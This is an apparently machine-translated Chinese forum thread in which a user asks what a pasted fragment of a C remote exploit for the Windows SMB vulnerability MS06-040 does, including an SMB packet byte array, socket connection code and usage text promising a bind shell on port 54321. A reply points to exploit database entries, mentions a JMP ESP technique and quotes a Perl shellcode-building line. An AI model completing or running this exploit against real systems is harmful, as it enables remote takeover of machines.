缓冲区溢出漏洞利用代码


  [Buffer - overflow exploit code][1]

嗨,作为任务的一部分,我正在 Windows 2000 服务器上进行漏洞利用,需要一点帮助。我已经附上了 c 文档中漏洞利用代码的屏幕截图,但我真的不明白这段代码的作用,并且想知道是否有人会向我解释这个硬代码在漏洞利用中到底做了什么。到目前为止,我知道这段代码在端口 54321 上为我提供了一个远程绑定 shell。

char peer0_14[] = {
0x00, 0x00, 0x00, 0x66, 0xff, 0x53, 0x4d, 0x42, 
0x25, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x30, 0x1d, 
0x00, 0x08, 0x84, 0xec, 0x10, 0x00, 0x00, 0x1c, 
0x00, 0x00, 0x04, 0xe0, 0xff, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x4a, 0x00, 0x1c, 0x00, 0x4a, 0x00, 0x02, 
0x00, 0x26, 0x00, 0x00, 0x40, 0x23, 0x00, 0x5c, 
0x50, 0x49, 0x50, 0x45, 0x5c, 0x00, 0x05, 0x00, 
0x00, 0x02, 0x10, 0x00, 0x00, 0x00, 0x1c, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 
0x00, 0x00 };

int main(int argc,char **argv)
{
int fd;
int con;
int repbf[20000];
struct sockaddr_in target;

if(argc < 2)
{
printf("Microsoft Windows CanonicalizePathName() Remote Exploit (MS06-040)n");
printf("Tested on WindowsXP SP1 EN and got a bindshell on port 54321n");
printf("Win2k should give a crash in services.exen");
printf("I've used the default smbdomain: WORKGROUPnn");
printf("Usage: %s <ip>n",argv[0]);
printf("Example: %s 192.168.1.103nn",argv[0]);
printf("Written by: Preddyn");
printf("RootShell Security Groupn");
printf("www.team-rootshell.comn");
exit(1);
}
fd = socket(AF_INET,SOCK_STREAM,0);
if(fd < 0)
{
perror("Could not create socketn");
exit(1);
}
printf("Target: %sn",argv[1]);
target.sin_family = AF_INET;
target.sin_addr.s_addr = inet_addr(argv[1]);
target.sin_port = htons(PORT);
con = connect(fd,(struct sockaddr_in *)&target,sizeof(target));
if(con < 0)
{
printf("Could not connectn");
exit(1);
}

这是漏洞利用代码谢谢

由于您粘贴的代码不是完整的漏洞利用代码,并且所有数据都是数组形式,因此很难理解漏洞利用是如何工作的。

我建议您查看以下链接

https://www.rapid7.com/db/modules/exploit/windows/smb/ms06_040_netapihttps://vulners.com/exploitdb/EDB-ID:2162

我没有对它进行逆向工程,但它似乎使用了 JMP ESP 技巧,并为这个小工具使用了固定地址。 也许我认为您应该更改一些偏移量以适合您的操作系统版本。

对于XP版本,以下行是漏洞利用的关键。

my $path = $shellcode . (pack('V', $target->[2]) x 16) . "x00x00";